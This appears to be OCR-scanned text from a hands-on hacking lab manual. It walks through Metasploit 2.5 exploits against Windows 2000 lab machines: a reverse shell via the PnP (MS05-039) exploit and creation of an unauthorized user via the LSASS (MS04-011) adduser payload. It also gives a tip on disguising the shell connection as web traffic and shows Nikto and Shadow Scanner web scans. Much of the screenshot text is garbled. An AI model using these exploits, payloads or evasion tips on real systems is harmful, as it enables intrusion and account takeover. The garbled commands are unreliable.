HAstart|| | 7 & 51 H B o\ Systemazicnd. . | [ shortcut to msfconsole i
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If successful with this exploit, you should be looking at a C: prompt on
the target computer.

Bl Windows 2000 Professional - YMware Workstal

| Fle Edt vew M Team tindows Help

CIEERER =l =]

st msB5_B39_pnplwind2_reverse> > show options

Exploit and Payload Options

Exploit Default

vequired  RHOST The target address

required SMBPIPE brouser Pipe name: brouser, srusvc, wkssuc
optional SMBDOM The domain for specified SMB username
vequired  RPORT 139 The target port

optional  SHBUSER The SMB username to connect with
optional  SMBPASS The passuord for specificd SMB usernanmc

Payload: Default  Description

required  EXITFUNG  thread Exit technique: "process". "thread'
required Local address to receive connection
required 4321 Local port to receive conmection

Target: Windows 2008 SPB-SP4

nsf nsBS_039_pnpCuind2_reverse) > sec RHOST 172.16.1.48
RHOST —> 172.16.1.
s msB5_B39 pnp(umaz,»eun-se) > set LHOST 172.16.1.56
LilosT 57472 16.1.56
nst5_039 onpduind2 peversed > check

Dotected & Windeus 2008 target <>

Sending the final DCE fragment

This system appears to be vulnerable

nsBS_839 > > exploit

Detected a VWindous 2888 target (3
Sending 1 DCE request fragments. ..

Sending the final DCE fragment

Got connection from 172.16.1.56:4321 <-> 172.16.1.40:1153

Microsoft Winds [Uersion 5.00.2195]
(C> Copyright 58571999 Mivvesare Corp.

C:\WINNT\system32>

Astart||| 7 @ 51 || Bcawmamisystenazicnd . | [@shortcut to mefconsole

@rff ) 4
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To verify that you are actually connected to the target computer, type ipconfig
and press Enter. In this example, we receive the IP address of the target, which
verifies we are actually connected to a remote connection on the target.

@Windnws 2000 Professional - ¥Mware Workstation B
| Fle Edt vew M Team tindows Help
| mip &l @@ Do

(&) Windows 2000 Professional

optional SMBUSER rname to connect wit
optional SMBPASS The ord for specified SMB u*elname

Payload: Default  Description

EXITFUNC thread Exit_techn
required LHOST Local addr o receive connection
required LPORT 4321 Local port receive connection

Target: Windows 2008 SPA-SP4

msf 5 339 sz(lunﬁz _reverse) > set RHOST 172.16.1.40

32_reversed > set LHOST 172.16.1.56

T16.1.5
9 pnpCwind2_reversed > check
1D d a Windous 2000 target O
Sending the final DCE fragment
This system appears to be vulnerable
9 pnpuind2 reverse) > exploit

Dotected a Windous 2000 farget <

Sending 1 DCE request Fragments. ..

Sending the final DCE fragment

Got connection from 172.16.1.56:4321 <-> 172.16.1.48:1153

Microsoft Windows 2008 [Version 5.88.21951
(C> Copyright 1985-1999 Microsoft Corp.

C:\WINNT s ysten32>ipcont ig
ipconfig

Windows 2808 IP Configuration

Ethernet adapter Local Area Connection 2:
Connecti pecific DNS Suffix ateuay.2uire.net
IR fiddwess. < .0 0T 72.16.1.40

Subnet Mask . . . . . . . . .
Default Gateway . - . - . . . .

Astart||| 7 @ 51 || Bcawmamisystenazicnd . | [@shortcut to mefconsole 11139 P11

Eomw -

*Note: An unauthorized remote shell to a target can be extremely dangerous. At this
point the attacker can do anything to the target as though he or she were sitting
behind the actual keyboard of the target computer.

*Note: Another technique to hide the connection is to change the ports the connec-
tion takes place on. For example, by telling the remote computer to use port
2417 and connecting to the attacking computer on port 80, it would appear
to anyone from the target computer that he or she is connected to a Web site.
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On Linux

From the directory containing the compressed files, type tar —zxvf frame-

work-2.5.tar.gz.
The files will uncompress into a new directory named framework-2.5.

Change to the new directory by typing cd framework-2.5 and pressing

Enter.
To execute the Metasploit Framework type:

./msfconsole

Bl Red Hat Linux - ¥YMware Workstation

| Fle Edt view WM Team ‘windows Help

uelonnisen o8

Eile Edit View Terminal Go Help
[root@localhost metasploit]# cd framework-2.5
[root@localhost framework-2.5]# ./msfcnnsnlsl

|

QLT iVF . ==

£\ Your version of ¥Mware Tools is out of date, Eom -
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The Metasploit startup screen is displayed. As in the Windows version
Metasploit not only identifies what version you are running but also how
many exploits and payloads are included.

[ Red Hat Linux - VMware Workstation
| Fle Edt View WM Team ‘Windows Help

Eile Edit View Temminal Go Help
[root@localhost metasploit]# cd framework-2.5
[root@localhost framework-2.5]# ./msfconsole
f Using Term::ReadLine::Stub, I suggest installing something better (ie Term::Read|

Line::Gnu)

|
| R T I
| I T ¢
B e

+ -- -—=[ msfconsole v2.5 [105 exploits - 74 payloads]

msf>l

|

N S8 TN [ ; ; Sat Dec 10
‘ 6 Z Z 12:22 AM

/& Your version of WMware Tools is out of date =

To see what exploits are included type show exploits and press Enter.

& Red Hat Linus - ¥Mware Workstation =0l x|

| Fle Edt Vew WM Team ‘windows Help

ERN R RV

@ Red Hat Linux

File Edit View Teminal Go Help

[root@localhost metasploit]# cd framework-2.5

[root@localhost framework-2.5]# ./msfconsole
¥ Using Term::ReadLine::Stub, I suggest installing something better (ie Term::Read|
Line::Gnu)

|
| VI |
[ N I ¢
B VA | VR Y P
]

+ -- -—=[ msfconsole v2.5 [105 exploits - 74 payloads]

usf > show exploits

Sat Dec 10
10:28 AM

A Your version of YMware Toals is out of date =@
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The exploits are listed.

Red Hat Linux - YMware Workstation

JFHE Edit Yiew WM Team

windows

Help

=R

File Edit View Terminal

msf > show exploits

Metasploit Framework Loaded Exploits

Go

Help

3con_3cdaemon_ftp_overflow

Credits

afp_loginext
aim_goaway
altn_webadmin
apache_chunked_win32
arkeia_agent_access
arkeia_type77_macos

arkeia_type77_win32
awstats_configdir_exec
backupexec_agent
ow

backupexec_dump
backupexec_ns
backupexec_registry
badblue_ext_overflow

I bakbone_netvault_heap

3Com 3CDaemon FTP Server Overflow

Metasploit Framework Credits

AppleFileServer LoginExt PathName Overflow

AOL Instant Messenger goaway Overflow

Alt-N WebAdmin USER Buffer overflow

Apache Win32 Chunked Encoding

Arkeia Backup Client Remote Access

Arkeia Backup Client Type 77 Overflow (Mac 0S5 X

Arkeia Backup Client Type 77 Overflow (Win32)
Awstats configdir Remote Command Execution

Veritas Backup Exec Windows Remote Agent Overfl[ |

Veritas Backup Exec Windows Remote File Access
Veritas Backup Exec Name Service overflow
Veritas Backup Exec Server Registry Access
BadBlue 2.5 EXT.dll Buffer Overflow

BakBone NetVault Remote Heap Overflow

Sat Dec 10
10:30 AM

£\ Your version of ¥Mware Tools is oLt of date,

Ecm

For this example, Metasploit will be used to exploit the Microsoft LSASS

service by performing a stack overflow. This is done by typing:

use lsass_ms04_ 011

ux - YMware Workstation

| Fle Edt view WM Team ‘windows

Help

| |8 &G

Eile  Edit
solaris_lpd_exec
solaris_lpd_unlink
solaris_sadmind_exec
solaris_snmpxdmid
solaris_ttyprompt

View Terminal

squid_ntlm_authenticate

svnserve_date

Go

trackercam_phparg overflow

uow_imap4_copy
uow_imap4_lsub
ut2004_secure_linux

ut2004_secure_win3z

warftpd 165_pass
warftpd 165_user
webstar_ftp_user
windows_ssl_pct
wins_ms04_045
wsftp_server_ 503 _mkd
zenworks_desktop_agent
tack Overflow

msf > use lsasstU'LUllI

(53 Red Hat Linus

Solaris LPD Command Execution

Solaris LPD Arbitrary File Delete

Solaris sadmind Command Execution

Solaris snmpXdmid AddComponent Overflow
Solaris in.telnetd TTYPROMPT Buffer Overflow
Squid NTLM Authenticate Overflow

Subversion Date Svnserve

TrackerCam PHP Argument Buffer Owverflow
University of Washington IMAP4 COPY Overflow
University of Washington IMAP4 LSUB Overflow
Unreal Tournament 2004 "secure" Overflow (Linux

Unreal Tournament 2004 “secure" Overflow (Win32

War-FTPD 1.65 PASS Overflow

War-FTPD 1.65 USER Overflow

WebSTAR FIP Server USER Overflow

Microseft SSL PCT MS04-011 Overflow

Microseft WINS MS04-045 Code Execution

WS-FIP Server 5.03 MKD Overflow

ZENworks 6.5 Desktop/Server Management Remote S

Sat Dec 10
10:45 AM

A\ Your version of YMware Tools is ouk of date,

Eam -
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The next step is to identify the payloads. This is done by typing show
payloads and pressing Enter.

|| M Ldt wew WM Team wndows Heb -
mure|ltoan | neE Rm

i Windws 2000 Advanoed Sarver | |y Resd Hat Livnis § Ser ot Wekrers 2000 Frolessional

T T T e e

| Bie E®  Wiew Teminadl Go  Help
solaris 1pd unlink Solaris L¥D Arbitrary File Delete
solaris_sadmind_exec Solaris sadmind Command Execution
s lar is_snepxdnid Solaris sompXdeid AdedConponent Overf low
solaris_ttyprompt Solarie in.telnetd TIYFROMFT Buffer overflow
squid_ntlm_authenticate Squid NTLM Authenticate Overflow
= wi_tate Subversion Date Svnserve
trackercan phparg overflow TrackerCam FHY Argument Buffer Overflow
UON_1map4_copy University of Washington IMAP4 COFY Overflow
wom_imapd_lsub University of Washington TMAP4 LEUR Overflow
utZ0td secure linux Unreal Tournament 2004 "secure" Overflow (Linux

LRI _secure_wind Unreal Tournanenl 2004 cure” Overflow (Wind

warftpd 165 _pass War-FTPD 1.65 PASS Overllow

warfepd_165_user War-FTPD 1,65 USER Overflow

webstar_ftp user WebSTAR FTP Server USER Overflow

pet Microsoft SEL PCT MS04-011 Overflow

wins_me(4_045 micrasoft WINS M504-045 Code Execution

wsftp_server 503 _mkd WS-TTP Server 5.03 MED Overflow

senworks_desk top_agent ZEMworks 6.5 Desktop/Server Managenent Remole S
tack Overflow

> use lsass_ms04_011
nsf lsass nsod4 011 > show payloadsf

0 Sal Dec 10
146 AM

B Your werson of Witware Todk is ot of dte. Bow

In this lab we will attempt to add a user to the target system. To accomplish
this we need to use the win32_adduser payload. This is done by typing set
PAYLOAD win32_adduser and pressing Enter.

i VWinows 2000 Advanced Sarvet | [y Red Hilt Lionis 8 Server | | Whekrees 3000 Professional

T T T e e
| Bie Em  Miew Teminadl Go  Help
winid2_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
wind32_bind_dIlinject Windows Bind DLL Tnject
windz_bind meterpreter Windows Bind Meterpreter DLL Inject
win3d2_bind_stg Windows Staged Dind Shell
wind?_bind_stg_upexes Windows: Staged Bind Upload/Execute
windz_bind vacinject Windows Bind VNC Server DLL Inject
Winaz2_exec Windows Execute Command
win3a_pass ivex Windows: PassiveX ActiveX Tnjeetion Payload
windz passivex meterpreter wWindows FassiveX ActiveX Inject Meterpreter Fay
load
winaz_passivex_sty windows Staged Fassivex shell
winaz passivex wncinject Windows PassiveX ActiveX Inject VNC Server Fayl

winaz_reverse Windows Reverse shell
wind2_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_melerpretor Windows Reverse Meterpreter DLL Inject
wini?_reverse_ord windows Staged Reverse Ordinal shell
win32_reverse_ord wncinject Windows Reverse oOrdinal VNC Server Inject
Win3a_reverse_sty Windows Staged Beverse Shell
windz_reverse_stf_upexec windows Staged Reverse Upload/Execute
wind2_reverse_vncinject Windows Reverse VNC Server Inject

nsf lsass nsod4 U11 > set PAYLOAD wind2 adduserf]

o

0 Sal Dec 10
155 AM

Ay vour verson of ihviare Took i out of date.
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The next step is to identify what targets are subject to this exploit. This is
done by typing show targets and pressing Enter.

|| M Ldt wew WM Team wndows Heb -
mure|ltoan | neE Rm

i Windws 2000 Advanoed Sarver | |y Resd Hat Livnis § Ser ot Wekrers 2000 Frolessional

_-mulﬂ Jocalhost - flools/metasploitiramework-2.5

L e Edt Wiew  Terminal Go  Help
win3z_bind dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Rind Shell
winaz_bind stg upexec Windows staged Hind Upload/Execute
win32_bind_vneinject Windows Bind WNC Server DLL Inject
wind?_exee Windows Exe Conmand
windZ_passivex Windows PassiveX ActiveX Injection PFayload
win3z_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Pay

load
wind2_passivex stg Windows staged rassivex shell
Win32_passivex_vncinject Windows PassiveX ActiveX Inject VHC Server Payl

nad
win3z _reverse Windows Reverse Shell
wind2_reverse_dllinject Windows Reverse DLL Inject
Winaz_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
wind2_reverse_ord Windows Staged Reverse Ordinal Shell
wind3_reverse_ord_vacinjeet  Windows Reverse Ordinal VNG Server Injeet
windy_reverse_stg windows Staged Reverse shall
win32_reverse stg upaxec wWindows Staged Reverse Upload/Ixecute
win32_reverse_vneinject Windows Reverse VNC Seever Tnject

nsf lsass nsod 011 > set PAYLOAD win32 adduser

PAYLOAD -»> win32_add T
sf lsass ns04 011(wind2 adduser) » show targets]

RSy

Ay vour verson of ihviare Took i out of date.

0 Sal Dec 10
155 AM

This exploit works against:

B Windows 2000 machines
B Windows XP machines

As this exploit allows for an automatic detection of the target we set the
target by typing set TARGET 0 and pressing Enter.
[ st L vmare workstation

| rie £t wew M Tean ‘Windows Heb -
[® Gabloea nm

L e Ed Wiew  Terminal Go o Help
wind2 _passivex stg Windows staged PassiveX Shell
windz_passivex_wncinject Windows PassiveX ActiveX Inject VNC Server Payl
nad
wini2 _reverse Windows Reverse shell
wind2_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_seterpretor Windows Reverse Meterpreter DLL Tnject
windZ_reverse_ord Windows staged Reverse Urdinal shell
Win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win3a_revers " Windows: Staged Beverse Shell
windz _reverse stg upexec Windows staged Reverse Upload/Execute
WIn32_reverse_vncinject Windows Reverse VNC Server Imject

nsf lsass ns04 011 > set PAYLOAD win3Z adduser
| PAYLOAD -> win32_adduser
naf lsass_maod_011(wind#_adduscr) » show targets

Supported Exploit Targets
0 Automatic
1 Windows 2000

2 Windows XP

sf lsass ns04 011(windZ adduser) » set TARGET of

0 Sal Dec 10
155 AM

Ay vour verson of ihviare Took i out of date.
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The next step is to identify what is required and what is optional for this
exploit. This is done by typing show options and pressing Enter.

B Red Hat Linux - ¥Mware Workstation ol x|

H Fle Edt Yew YM Team Windows Help

(3 Red Hat Linux

File Edit View Terminal Go Help

60 oad
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord windows Staged Reverse Ordinal shell
win32_reverse_ord vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf 1sass_ms04_011 > set PAYLOAD win32_adduser
PAYLOAD -> win32_adduser
msf lsass ms04 011(win32 adduser) > show targets

supported Exploit Targets

0 Automatic
1 Windows 2000
2 Windows XP

msf 1sass_ms04_011(win32_adduser) > set TARGET O
TARGET -> O
msf lsass _ms04_011(win32_adduser) > show uptionsl

Sat Dec 10
10:55 AM

A vour version of VMware Tools is out of date. ==

This exploit requires three parameters to work:

B RHOST (Target IP address)
B PASS (Password for the new user)
B USER (Username for the new user)

Bl Red Hat Linux - ¥Mware Workstation

| Fle Edt Yew WM Team windows Help

(3 Red Hat Linux

File Edit View Terminal Go Help
o4 TARGET -> 0
msf 1sass_ms04_011(win32_adduser) > show options

Exploit and Payload Options

Name Default Description

required The target address

optional The domain for specified SMB username
required The target port

optional The SMB username to connect with
optional The password for specified SMB username

Payload: Default  Description

required The password for this user
reguired EXITFUNC thread Exit technique: "process", "thread", "seh"
required  USER The username to create

Target: Automatic

sf 1sass ms04 _011(win32 adduser

Sat Dec 10
10:55 AM

A\ Vour version of Wlware Tocks is out of date, [ ==
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Set the target by typing set RHOST 172.16.1.40.

Red Hat Linux - YMware Workstation

| Fie Edt view

Team

windows  Help

,-

File Edit
TARGET -> 0

View Terminal Go Help

msf lsass_ms04 011(win32 adduser) > show options

Exploit and Payload Options

Exploit: Name Default

Description

RHOST
SMBDOM
RPORT

required
optional
required

The target address
The domain for specified SMB username
The target port

optional
optional

Payload:

SMBUSER
SMBPASS

Name

Default

The
The

SMB username to connect with
password for specified SMB username

Description

required
required
required

PASS
EXITFUNC
USER

thread

The password for this user
Exit technique: "process", "thread", "seh"
The username to create

Target: Automatic

msf 1sass_ms04_011(win32_adduser

> set RHOST 172.16.1.40]

Sat Dec 10
10:58 AM

£\ Your version of ¥Mware Tools is oLt of date,

Ecm

Set the password by typing set PASS 123456.

File Edit View Teminal Go

Exploit and Payload Options

Exploit: Name Default

Description

required  RHOST

The target address

optional
required
optional
optional

Payload:

SMBDOM
RPORT
SMBUSER
SMBPASS

Name

Default

The
The
The
The

domain for specified SMB username
target port

SMB username to connect with
password for specified SMB username

Description

required
required
required

PASS
EXITFUNC
USER

thread

The password for this user
Exit technique: "process", "thread", "seh"
The username to create

Target: Automatic

msf 1sass_ms04_011(win32_adduser
RHOST -» 172.16.1.40
msf 1sass_ms04_011(win32_adduser

> set RHOST 172.16.1.40

> set PASS 123456]

Sat Dec 10
10:59 AM

£\ Your version of ¥Mware Tools is oLt of date,

Ecm
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Set the username by typing set USER virtualhacking.

Red Hat Linux - YMware Workstation

Edit  view

Team

windows

Help

FEile  Edit

R=RENE]

View Terminal

Go  Help

Exploit:

Default

Description

required
optional
required
optional
optional

Payload:

Default

The
The
The
The
The

target address

domain for specified SMB username
target port

SMB username to connect with
password for specified SMB username

Description

required
required
required

Target:

PASS
EXITFUNC
USER

Automatic

thread

msf 1sass_ms04_011(win32_adduser

RHOST -»> 1

72.16.1.40

msf 1sass_ms04_011(win32_adduser

PASS -> 12

3456

msf 1sass_ms04_011(win32_adduser

The password for this user
Exit technique: "process", "thread", "seh"
The username to create

> set RHOST 172.16.1.40
> set PASS 123456

> set USER virtualhacking]]

Sat Dec 10
10:59 AM

£\ Your version of ¥iwar

& Tools i out of date,

Eom

This exploit does not come with a check function so it is either going to
work or not. To execute the exploit type exploit and press Enter.

File Edit View Teminal Go

Exploit:

Name

Default

Help

Description

required
optional
required
optional
optional

Payload:

RHOST
SMBDOM
RPORT
SMBUSER
SMBPASS

Name

Default

The
The
The
The
The

target address

domain for specified SMB username
target port

SMB username to connect with
password for specified SMB username

Description

required
required
required

PASS
EXITFUNC
USER

thread

The password for this user
Exit technique: "process", "thread", "seh"
The username to create

Target: Automatic

msf lsa: ms04_011 (win3:
RHOST -> 172.16.1.40
msf 1sass_ms04_011(win32_adduser
PASS -> 123456

msf 1sass_ms04_011(win32_adduser
USER -> virtualhacking

msf 1sass_ms04_011(win32_adduser

adduser) > set RHOST 172.16.1.40

> set PASS 123456

> set USER virtualhacking

> exploit]

Sat Dec 10
10:59 AM

EeE 4

A Your version of YMware Tonls is out of date.
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If no error is displayed, the exploit was probably successful. We will verify.

Red Hat Linu - ¥Mware Workstation i

| Fle Edt view WM Team ‘Windows Help

=R

File Edit View Teminal Go
optional SMBUSER

The SME username to connect with
optional SMBPASS

The password for specified SMB username

Payload: Name Default Description

required  PASS
required ~ EXITFUNC  thread
required  USER

The password for this user
Exit technique: "process", "thread", "seh"
The username to create

Target: Automatic

msf 1sass_ms04_011(win32_adduser) > set RHOST 172.16.1.40
Y-\ RHOST —> 172.16.1.40

msf 1sass_ms04_011(win32? adduser) > set PASS 123456

PASS -> 123456

msf 1sass_ms04_011(win32 adduser) > set USER virtualhacking
USER -»> wvirtualhacking

msf 1sass_ms04_011(win32?_adduser) > exploit

[#*] Detected a Windows 2000 target ()

[#*] sending 32 DCE request fragments...

[#*] Sending the final DCE fragment

msf 1sass_ms04_011(win32_adduser

Sat Dec 10
11:00 AM

Ecm

£\ Your version of ¥Mware Tools is oLt of date,

From the target machine, type ipconfig and press Enter. This will identify
the TP address as 172.16.1.40 (our actual target).

Windows 2000 Server - ¥Mware Workstation

| Fle Edt View WM Team ‘windows Help

NN R =]

2008 [Version 5.
999 Microsoft Corp

1951

Connection—specific DNS Suffix . : gateway
IP Addres 9 TE ey E D imdiee

Subnet Mask . . . 255.255.6.0
Default Gateway - 1 172 16

.2wire.net
.48

Astart|| [ @ <1 & 11 @ ||[Ecommand Prompt

A Your version of YMware Tonls is out of date.

8 11:00 AM
EBemv
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By checking Computer Management on the target, we can identify that
indeed a new user account named virtualhacking has been created on the
target machine.

I} lows 2000 Server - ¥YMware Workstation )

| Fle Edt View WM Team ‘Windows Help

|2

Tree | [ Hame [ Fall Name [ Deseription
(=] Computer Management ozl | o5 cuest Bult-in account For quest acce:
- §i System Tools 8 hacker hacker
() Evert Viewer i hacksym hacksym

System Information #1USR_WINZD. . Internet Guest Account Built-in account for anonymous | @

Performance Logs and Alerts QIWAMJJ\I’]NZ‘.. Launch ITS Process Account  Builk-in account: for Internet In
% Shared Folders S kermit Built-in account for administerit

Device Manager o mouse Wickey Mause Tap Mouse of Walt Disney

Local Users and Groups ... Windows Media services .. Windows Media services run ur
~3 Users Telrkernetlser This user account is usd by Ty
-] Groups g
- Storage

(L] Disk Management

-8 Disk Defragmenter

= Logical Drives
& Remavable Storage
-8 services and Applications

=]

iastartm HESE 2@ H B Command Prompt | (=) computer Management < EIEE 1100am
/& Your version of ¥Mware Tools is out of date BEoBw

*Note: As you might imagine the ability for an attacker to create accounts on a remote
system “at will” is like giving the keys to the kingdom away.
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Lab 69: Web Server Target Assessment

Assessment of Web Server Security: Nikto

Prerequisites: ActivePerl for Windows Version, none for the target

Countermeasures: Secure ACLs, Bastion computers

Description: Nikto is a tool for finding default Web files and examining
Web server and CGI security. Remember that all commands in Linux
are case sensitive.

Procedure: Install, start the application, set the parameters, and execute.

From the directory containing the compressed files type tar —zxvf nikto-
current.tar.gz.

The files will uncompress into a new directory named nikto-1.35.

Change to the new directory by typing cd nikto-1.35 and pressing the
Enter key.

Execute against the target with the syntax of ./nikto —h <target IP
address>. In this example:

./nikto -h 172.16.1.46

Bl Red Hat Linux - ¥Mware Workstation )

| Fle Edt view WM Team windons Help

lBEaR|DoaE@8

Bine) [ Windews 2000 Frotessional | [ESTedi (&

rooi@localhost:~ftools/nikio, 7 7 7 7
File Edit View Teminal Go Help
[root@localhest niktel# ./mikto.pl -h 172.16.1.46'

I r e ey O wEs

£\ Your version of ¥Mware Tools is out of date, Eom -
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The target will be scanned for potential weaknesses and list, when appli-
cable, the Microsoft Security Bulletin reference.

Red Hat Linux - YMware Workstation o [=] 3]

| Fle Edt View WM Team ‘windows Help

ERERE

[ oot localhost:~/tools/nikto/)

Eile Edit View Terminal Go Help
8, BID-1174. (POST)
+ /_wvti_bin/shtml.exe/_wti_rpc - FrontPage may be installed. (GET)
+ /_wvti_inf.html - FrontPage may be installed. (GET)
+ /blahb.idg - Reveals physical path. To fix: Preferences -> Home directory -» A
pplication & check 'Check if file exists' for the ISAPT mappings. MS501-033. (GET
)
+ fxxxxx.htw - Server may be vulnerable to a Webhits.dll arbitrary file retrieva
1. Ensure (2524631, (Q252463a or 0251170 is installed. MS00-006. (GET)
+ /NULL.printer - Internet Printing (IPP) is enabled. Some versions have a buffe
r overflow/DeS in Windows 2000 which allows remote attackers to gain admin priv
ileges via a long print request that is passed to the extension through IIS 5.0.
Disabling the .printer mapping is recommended. EEYE-AD20010501, CVE-2001-0241,
MS01-023, CA-2001-10, BID 2674 (GET)
+ /scripts/samples/search/gfullhit.htw - Server may be vulnerable to a Webhits.d
11 arbitrary file retrieval. M500-006. (GET)
+ /scripts/samples/search/gsumrhit.htw - Server may be vulnerable to a Webhits.d
11 arbitrary file retrieval. M500-006. (GET)
+ flocalstart.asp - Needs Auth: (realm "172.16.1.46")
+ /localstart.asp - This may be interesting... (GET)
+ 2755 items checked - 15 item(s) found on remote host(s)
+ End Time: Thu Dec 8 10:30:20 2005 (9 seconds)

[*]

+ 1 host(s) tested %
[root@localhost nikto-1.35]# I

Thu Dec 08
10:32 AM

A Your version of YMware Toals is out of date =@

To use Nikto on a Windows computer, you must have ActivePerl installed.
The ActivePerl application is free and you install it by double-clicking on the
installation icon.
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Install ActivePerl with the default options. ActivePerl will complete instal-
lation. Click Finish.

B Windows 2000 Server - ¥Mware Workstation I =10 x|

Fle Edt View WM Team Windows Help
e |G| 08688

| [ J i windows 2000 Server [ ) _

i ActivePerl 5.8.7 Build 815 Setup E

Completing the ActivePerl 5.8.7 Build 815
Setup Wizard

[packate, combining professional Perltools: Kemada Pro,
[P=rl Dev ki, andt Visuial Perl, with premmium orline access to
[Safari Bookshelt

49 ™ [Serious about programming in Perl?
e (Get ActivePerl Pro Studio! ActivePer Pra Studio is
leverything & Perl procrammer needs in one corweniert

rnPp
IFindt aut howy you can upsrade today:
Jtt: oy Active State comisctivePeriProStusio

I~ Display the release notes:

Activestate  vnwactvestate com

Finish

hstart|| 2 @ <3 B 1 @ || ycioownoadsiwieoin.. | Bcommand prompt | [[Slactiveper! 5.0.7 Bui., (@18 1100 am

8\ Your version of Wiware Tools is out of date, Eomq

Execute Nikto with the following syntax:
nikto -h <target IP address>
In this example:
nikto -h 172.16.1.46

8] windows 2000 Server - vMware Workstation ol x|

Ele Edk Yew YM Tsam iindows Help
BN Ee | Bk 0dEE @8
v | [& : ll 5 windows 2000 Server I -
Fommmirore

C:\Dounloads\Niktosnikto—1.35>nikte.pl ~h 172.16.1.46.

hstart| | ) @ I B = © || ciDownoadsiiktoiniis... |[ECommand Prompe e Lot am

A\ Vour versicr, of M Taols is out of date. =FID
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The target will be scanned for potential weaknesses and list, when appli-
cable, the Microsoft Security Bulletin reference.

dows 2000 Server - YMware Workst.

Elle gd\t Vew WM Team Windows Hep |
@H% ploea e |
| [& )2 ] G vwandows 2000 Seruerl i

»ue&llecLlnkInfn-true&ll«tlnnludepa»ent trustlistDerivedl =False
alse — Needs Auth: (realm
e s bel aut muther ot Tnsthed ol st sdocunent s 3ad2e2e2n2e1786hservice]
-5 fname =&1istHiddenDocs =trueklist ExplorerDocs =trueklistRecu alseflistFiles=t
ruedlistFolders=true&listLinklnfo=trueklistIncludeParent=true&listDerivedl=false
&1listBorderc=false — Needs Auth: (realm NILM>
+ /_uti_hin/fpcount.exe - Frontpage counter CGI has heen found. FP Server versiol
n 97 allous remote users to execute arbitrary system conmands. though a vulnerab)
ility in this version could not be confirmed. CAN-1999—1376. BID-2252. <(GEI>
i 7_vtibin/shtnl.dll vti_rpcinethod=cerver uersionidadizeBize22e261t — Gives
info about server settings. CAN-2000-8413, CAN-2088-8709, CAN-2008-8718, BID-160)
N Rbot15a " ChosTS
+sovtidinsshinl.oxe - Autackers may be ablo to crash TrontPage by requesting o
DOS device, like shtml.exs/aux.htm was not attempted. CAN-2088-0413, C
AN-2000-870%. CAN-2000-8710. BID en. Biboiia; TeEID
+ /_wti_hin/shtml.exe/_ut thod-servertuersionz3adn2eBule2x2e2611 — Gives
info about server settings. Pt 8413, CAN-2008-8709, CAN-2800-0718. BID-166)
BID-1174. CPOST>
+ /_uti_hinsshtml.exe/_vti_rpc — FrontPage may be installed. (GET>
+ ¢ yti_inf.html — FrontPage may he installed. (GET>
+ ¢blahb.idg — Reveals physical path, To fix: Preferences —> Home directory —» A
pplication & check ’Check if file exists’ for the 1SAPI mappings. M381-B33. (GET
>

+ sxoooc.htu — Server may he vulnerable to a Webhits.dll avhitrary file vetrieua
1.  Ensure 02524631, 0252463a or Q251178 is installed. HSBE-0O6. <GET)
+ HULL.printer — Internet Printing <IPP) is enabled. Some versions have a huffe]
v overflowsDog in indows 2000 “which allows remote attackers to gain adnin priy
int roquest that ic passed to the sion through 118 5.8
apping 1ET§EcumnendEd BEVE-ADsaR1BR0T . CUE-THal-b2ai

hsqfullhit.htw — Server may be vulnerable to a Webhits.d|
Panwg File retmicunl. MSBB-BEG. (GET>

+ sseripts/sanplessscarch/gsumchit.htw — Server may be vulnerable to a Hebhits.d)

11 arhitrary file retricval. MSB0—G0 ET >

+ slocalstart.asp - Needs Auth: 2kas")

+ slocalstart.asp — This may be interesting... CGET>

+ 2755 items checked — 15 item<s) found on remote host(s>

+ End Tine Thu Dec 81 B 2005 (88 seconds?

+ 1 host(s> tested
(C:\Down loads\Niktosnikto—1.35>

iﬂslarq HESA DO _qc:\Duwn\uads\Nuktu\mktuH] & command Prompt

A\ Your version of YMware Tools is out of date.

(EEEf  11:03am

*Note: Running Nikto in Linux or Windows can be helpful, but I noticed that when
executing in Windows the results tend to be more intuitive and descriptive.
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Lab 70: Vulnerability Scanner

Assessment of Target Security: Shadow Scanner

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

Description: Shadow Security Scanner (SSS) analyses collect data, locates
vulnerabilities, and provide suggestions to correcting those issues.
Shadow Scanner runs on the Windows platform but is able to scan
Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris, and all versions of
Windows.

Procedure: Install, start the application, set the parameters, and execute
against the target.

Double-click the SSS icon to start the Shadow Scanner installation process.

Install the Shadow Scanner Setup with the default options.
The Shadow Scanner will complete its installation. Accept the Run
Shadow Security Scanner. Click Finish.

Bl Windows 2000 Professional - ¥Mware Workstation

‘F||e Edit WView WM Team ‘Windows

=1oix|

Completing the Shadow Security
Scanner Setup Wizard

Setup has finished instaling Shadow Seeurity Scanner on your
computer. The application may be lsunched by selecting the
installed icons

Click Finish (0 et Setup,

LibnethT.dil

i;slartl“ @ 1 H B C WIS ystem32lemd. . | B Windowsishadaw 5c... | [ Setup

@ 9,40 P
Ecm
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The Shadow Security Scanner will load.

indows 2000 Professional - ¥YMware Workstation o =] 3]

File Edt Yew %M Team ‘Windows Help

T I

st Linux | [y Red Ha

Shadow
Security
Scaryxner

Load audits base “base sdb™

IT.dl

Astart || 1] & =53 || B wnnTisysenaziond.. |[ e windows\Shado... | (55

| JEEE  gq0pm

Bemw

As this is the unregistered version it will only operate 15 days. Click Continue.

=lol x|
File Edit Yew %YM Team Windows Help
njire & GEBa B8

2000 Professional

Ethereal

Unregistered Yersion.

Evaluation Expires in

15 days

Go ta Program Registration Page

Register license file | Register old key

Lit Il

%ﬁstart”J M & &3 H B 1\ wINNT Sy stem32iemd. | R Wi

g 9:41 FM
e .

o[
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The Shadow Security Scanner will start.

=10 =]

CHTE)

(3 Windows 2000 Professional

Hhstart ||| ] & 51 H B CWINKTiSystem3zlamd... | JEHsiwindonsiShadow sc.. || sss |Cﬂ—$ 241 PM
=T I

Click the Scanner button on the left side of the application. Select the
